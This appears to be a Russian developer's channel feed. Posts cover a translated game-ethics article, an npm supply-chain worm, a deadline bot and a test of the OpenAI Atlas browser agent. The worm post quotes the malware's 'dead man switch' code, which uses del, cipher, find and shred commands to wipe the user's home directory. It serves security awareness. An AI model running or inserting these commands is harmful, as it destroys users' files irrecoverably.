Бессонный кодер

Всем привет! Начинаем неделю (и ждём завоза в среду) с интересного чтения. Помните мой цикл постов о морали и геймдизайне убийства детей в играх? Так вот, идея этого цикла у меня появилась после того, как я прочитал работу Бьорна Шёблома на эту тему. Если вас заинтересовала эта тема и вы хотите глубже её изучить, то специально для вас я выложил эту статью в оригинале на своём Boosty и, страдая несколько часов, полностью перевёл её на русский. Там есть действительно интересные размышления, цитаты и референсы, которые я не мог публиковать здесь из-за риска получить пару статей за такие формулировки :D Читать тут: https://boosty.to/redguy/posts/94737a8e-df80-49c2-8b64-44d1eb5c530d?share=post_link

Никогда такого не было — и вот опять: в npm снова обнаружена supply-chain атака. В этот раз атака достаточно крупная и могла задеть большое количество рабочих станций и серверов. Вредонос работает как червь, заражая пакеты пострадавшего разработчика. Но самое интересное — он содержит dead man switch, который может удалить пользовательские данные, если каналы распространения будут перекрыты. После заражения вредонос крадёт с рабочей станции данные аутентификации для GitHub, npm, AWS, GCP и Azure и передаёт их в контролируемые хакерами GitHub-репозитории. GitLab уже выпустил очень хорошую статью с разбором кода вредоноса, подробно объясняя, что он делает: https://about.gitlab.com/blog/gitlab-discovers-widespread-npm-supply-chain-attack/ (если хотите мой перевод с пояснениями — дайте знать) Полный список заражённых пакетов можно найти здесь: https://github.com/wiz-sec-public/wiz-research-iocs/blob/main/reports/shai-hulud-2-packages.csv Что отличает эту атаку от прошлых? 1. Масштаб — более 800 заражённых пакетов, включая не только модули для организаций, но и самостоятельные пакеты, а также модули для React. 2. Dead man switch — при отсутствии доступа одновременно к GitHub и npm вредонос пытается уничтожить домашнюю директорию пользователя:

    
         // DESTRUCTION TRIGGER: No GitHub AND no NPM access
 console.log("Error 12");
 if (platform === "windows") {
   // Attempts to delete all user files and overwrite disk sectors
   Bun.spawnSync(["cmd.exe", "/c", 
     "del /F /Q /S \"%USERPROFILE%*\" && " +
     "for /d %%i in (\"%USERPROFILE%*\") do rd /S /Q \"%%i\" & " +
     "cipher /W:%USERPROFILE%"  // Overwrite deleted data
   ]);
 } else {
   // Attempts to shred all writable files in home directory
   Bun.spawnSync(["bash", "-c", 
     "find \"$HOME\" -type f -writable -user \"$(id -un)\" -print0 | " +
     "xargs -0 -r shred -uvz -n 1 && " +  // Overwrite and delete
     "find \"$HOME\" -depth -type d -empty -delete"  // Remove empty dirs
   ]);
 }
 process.exit(0);{}
    

Как говорится: никогда такого не было — и вот опять. Stay safe.

Ребят, админ снова с вами! Я тут немного пропал на недельку — успел побывать в больнице и в коротком отпуске (aka больничный), но теперь я снова цел и полон сил 😄 Давайте начнём недельку с обсуждения: а что вы вообще хотите видеть нового и необычного на канале? Да, я уже несколько раз делал подобный опрос, но раньше давал вам варианты на выбор. А теперь — свободный ответ. Может, вы хотите что-то такое, о чём я даже не задумывался. Ну и да, старые идущие рубрики не заканчиваются — я всё ещё пишу текстики и редактирую видео для них (хотя больничный не очень позитивно сказался на сроках готовности).

Продолжаем немного лайтовые и позитивные посты. У нас в команде есть внутренний бот который позволяет взаимодействовать с нашими системами через ТГ (информация от CI, корпоративные доступы, контроль рабочих чатов) и его самая главная фича (он вообще появился чтобы её выполнять) — контроль дедлайнов. И делает он это 2 раза в день со смешной (или не очень) фразой. Прикрепил вам несколько таких сообщений. И сегодня случилось то что мы все так желали. Пока я редактировал права ролей... я его случайно удалил :D Как жаль что пришлось его восстанавливать, но на пару минут мы всё-таки победили бездушную машину!

Так, после большого поста подабается не очень большой и весёлый. Решил я тут попробовать OpenAI Atlas (браузер с ChatGPT), как раз у меня Plus подписка появилась, и что я вам скажу, работает и выглядит прикольно. Дал я ему пару задачек и вот как он справился с ними: 1) Запрос: У меня открыта вкладка читай-города, найди мне что-то почитать на основе тех книг которые мы обсуждали чуть ранее. Суть: Проверить как он будет ориентироваться на сайте с моим авторизованным профилем, как он разберётся с проверкой наличия книг и вспомнит ли он диалог из соседнего чата Результат: Сначала долго думал насколько законно и этически правильно выполнять запрос, когда убедился что всё ок (скорее всего он задумался так как мы упоминали Made in Abyss) быстро прошёлся по страницам и составил для меня отчёт (см. второй скриншот) 2) Запрос: Найди мне на Российских площадках Такаги или Баракамон Суть: Сможет ли он не попасться на ловушку кривого запроса, так как указана только фамилия у первой манги + ориентация и поиск по нескольким сайтам Результат: Он пару минут боролся с рекламой на Яндекс.Маркете (см. первый скриншот), потом попался на ловушку кривого запроса и начал искать по запросу "Takagi", не разворачивая полное название, из-за чего словил не очень релевантные результаты. Потом он перешёл на Озон, там повторил ошибку, но алгоритм Озона догадался что ищут и минимизировал иррелеватные результаты. Отдельный момент, тут он подумал что если проскролить вниз, то будут более подходящие результаты, он это делает и попадает на "Рекомендуем вам". Ответ смотрите на третьем скриншоте. Прикольно что после этого можно уже через любой браузер посмотреть видео-анимацию того как шёл поиск со всеми его запросами и размышлениями. Вот как-то так.